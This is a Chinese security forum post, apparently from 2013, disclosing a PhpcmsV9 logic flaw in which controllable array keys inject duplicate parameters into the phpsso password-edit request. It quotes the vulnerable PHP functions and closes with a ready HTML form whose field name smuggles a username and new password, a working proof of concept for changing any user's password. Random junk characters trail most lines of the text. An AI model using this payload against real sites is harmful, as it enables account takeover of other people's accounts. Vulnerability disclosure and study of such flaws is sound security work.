找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2218|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:
2 E% f+ N. e# u3 W( U  O: F- n6 Z$ p% i6 X1 k, M; S, I

, s! V- E" @4 d: gparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
' i' S& w, F8 {& [2 U& o8 V7 [! `, k9 i+ Q4 ]. `, M% A
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。5 `! v0 {4 j! s) ^; l, c; e" C
! p% q! D# E9 H6 C
我把它留给了你们。
* H, ?3 z6 L9 T% d( q+ r不知道你们发现了它没有。7 P& @4 d- C# r- M9 o
: O" D( r( V! z. s+ ~$ ]
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。$ `, ?: J7 q" a3 f1 m. e3 L6 Y

- \6 O" ?0 E* e% ~* u  d+ A: ^  a所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
8 ^( h2 W3 p( d! X$ @+ a+ _' P, e( p* m5 F! R; q2 |, G
也就是8 Z, A0 ]- m) w8 ?8 E, q
, ~8 A$ @8 c" p$ s0 T
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。0 r  b/ Z% J) U2 x9 @0 g  u
- H! Z0 f0 M3 j6 P# Z" R
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。3 y- o% e9 m- B
$ f/ U, N+ {; v' h& D' v& J& |
/ {9 V: }: q! }( Y" s
其实我们有这样的机会,看看代码,如下:
4 s; `, ^' c5 ]3 @5 I: @2 ?; _4 A* f3 y/ ]- X7 ?
; D  H. U8 R7 m3 ]
public function auth_data($data) {
3 j& |: c: C! `% w9 `                $s = $sep = '';
3 p/ H8 |1 s" {  }                foreach($data as $k => $v) {
6 `, a! P% {% {                        if(is_array($v)) {
. c" m) g, J! x1 g6 P                                $s2 = $sep2 = '';' {: q1 L4 [" J' ]; C3 I
                                foreach($v as $k2 => $v2) {9 V& a1 w) x+ W/ J
                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
5 x7 Z) K+ l3 ]                                        $sep2 = '&';4 c2 u: a; F- {4 I
                                }1 G$ X' ]* x5 [9 s9 `) ^1 v
                                $s .= $sep.$s2;
9 n2 X7 v" }. {3 _9 ]9 ?                        } else {
. p! t0 M5 J( f" z1 n% X4 T                                $s .= "$sep$k=".$this->_ps_stripslashes($v);
; }0 V- a" [4 F& c( T7 F                        }/ q5 i7 G+ T% [. A" H+ v6 d
                        $sep = '&';8 s- S% R$ N2 `3 N4 e1 @0 V9 z
                }
8 @; \+ ?5 {5 Z2 C/ @2 [
- P1 l# O1 U  O6 g7 @                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));7 c2 v# F5 o$ u; F& j
                return $auth_s;
; l4 P2 d0 N0 B; h2 ~( X- v8 P5 F        }  E) }! Y; e; s% [/ W: {% E! E

0 R4 ^4 i. s3 i可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。5 m  r6 q% q1 W& R: J; U9 V
0 i! k  w( g/ A0 f
举个例子% I4 |( j8 P( ?: m4 L! s

* `# C- N9 M8 t  h$a[aaa=a&bbb] = 'a';7 B3 o: D7 K4 R; |4 X. E+ @3 J6 h" S, I
/ H4 b- {  m- I6 P, z* W: V
会变成aaa=a&bbb=a. {2 n8 ?. O8 {" }5 X# Q4 c

- z* N2 G7 X6 S# n: h明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
/ N# I8 A& V6 ]* G: w6 @& Y# Y% x% `* K
这个时候,我们可以再去看一个函数。
0 v( r' `8 A+ g' v( u1 t4 J( T% C4 m" e1 e/ J$ w+ _
就在这个文件内:
* _$ i1 T% v9 A7 m9 I- t; o
" o1 O& V2 W6 P$ \9 a! N  N, B
" j, ~: M1 `1 |9 rpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {( `5 r; M- K- z( y3 @! J
                if($email && !$this->_is_email($email)) {- _, S5 b# H; g: x
                        return -4;0 K, r- g4 W( j/ O3 r; g
                }- f6 V+ z+ @' t: w: \* ^
                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));9 `/ @* J, a( z; r3 ?) C
        }
* u# _4 T2 O" y& H
; R3 A; o  g  F6 B% w: A: g3 I2 M* }这是向通行证发了这样一个请求。; p& z; q# j: `

/ S( ?/ E. Y+ p# O6 g7 q* B我们再跟到通信证代码里去看看,就会有所发现。* G9 R; m: n4 L+ E8 U7 @8 P7 q

$ T) @0 B1 i& z6 P4 o! b- @9 `/ l! q
public function edit() {
2 x! J$ e( @! k0 `( ^: l% R//能省就省,太长了不是吗?" Y/ M. z6 Z: Z# E) A* W

+ T9 \3 k! X  v+ L0 y7 Z( I- Kif($this->username) {2 M/ A$ F' `# c% y( @% o
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
% Q1 l, i% U3 t1 f% j% l' a1 j/ h                                $res = $this->db->update($data, array('username'=>$this->username));5 K+ B1 m' i0 J0 V3 S
                        } else {
9 m: E' a/ f8 F- M# c3 a& a' K                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);
( ~# c' q4 n# @* ?                                $res = $this->db->update($data, array('uid'=>$this->uid));
8 H7 E+ s+ R' f2 [$ H5 b6 ?, _                        }
6 l1 Y% }4 q3 [  _  _( h
  G. g7 L/ @! J5 W( z好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:2 T2 P: P  r* s4 k5 k2 |

1 L# j& {) W4 n  F. Kpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
( h  v6 d1 A! B, q& N6 ]  h2 h1 ?5 d% `) Z  z  A6 y
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。! C: z. b1 ?+ u2 @8 v7 w" j
6 G! H8 C6 |+ o' m- ]6 r, T
我当然找到了:+ o1 X' ]* {2 x& U7 i' P, b% d& ~! u1 B
phpcms9/phpcms/modules/member/index.php
; U: ^# s. r( O* Y- Z7 \6 D4 G4 i4 {9 e. t/ k1 h7 D2 d" r
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
8 L4 k  }  {2 v# j; V; |0 ^! @1 P- w5 j) C" |: d
然后就没有然后了。
( S$ _3 V- @5 y8 i- ^& f3 v- J3 m/ C1 x( B+ T' }) ^! X) p) N/ C% c
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">1 ^+ s3 X, o8 n6 Q8 }; _
                                <table width="100%" cellspacing="0" class="table_form"># I  r0 Y% v" x1 T6 v$ g/ B% t! }
                                        <tr>* E' ]$ O; h& R
                                                <th width="80">邮箱:</th>        ' G5 Y9 w& B% _2 p# o
                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>7 X# r7 o2 u1 j0 R4 R) ^; f; Y
                                        </tr>' Y% S6 s* {' p
                                        <tr>
( k2 r$ l/ V$ W  a/ I# [                                                <th width="80">原密码:</th>        
  n& v) U& t# `                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>2 C. B; _, W4 i( p1 y7 [3 ?
                                        </tr>
  E9 |, J; u0 y# g% n3 F                                        <tr>* C$ `  _% g3 g% n2 Z9 ^" A/ [
                                                <th>新密码:</th>
$ p# p4 N- V7 V) `! Z3 i) v8 U                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
' b/ S6 [* E/ r, |: b# I; U                                        </tr>9 j5 p; |  N+ U9 u
                                        <th></th>; M; _: b% l' o- }% `
                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>  |, Y  k/ U" {8 L! w( \
                                        </tr>
. c" j% d( |5 j- Q" Q                                </table>) T; J) @9 O( m8 Q9 ?3 K' Z' b4 L
$ R! D* R5 u1 Y7 H, a# _; x
                                % x; z9 {: c7 g# |3 z
                        </form>& U! V  A! M5 A! K4 S' \- _" a
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表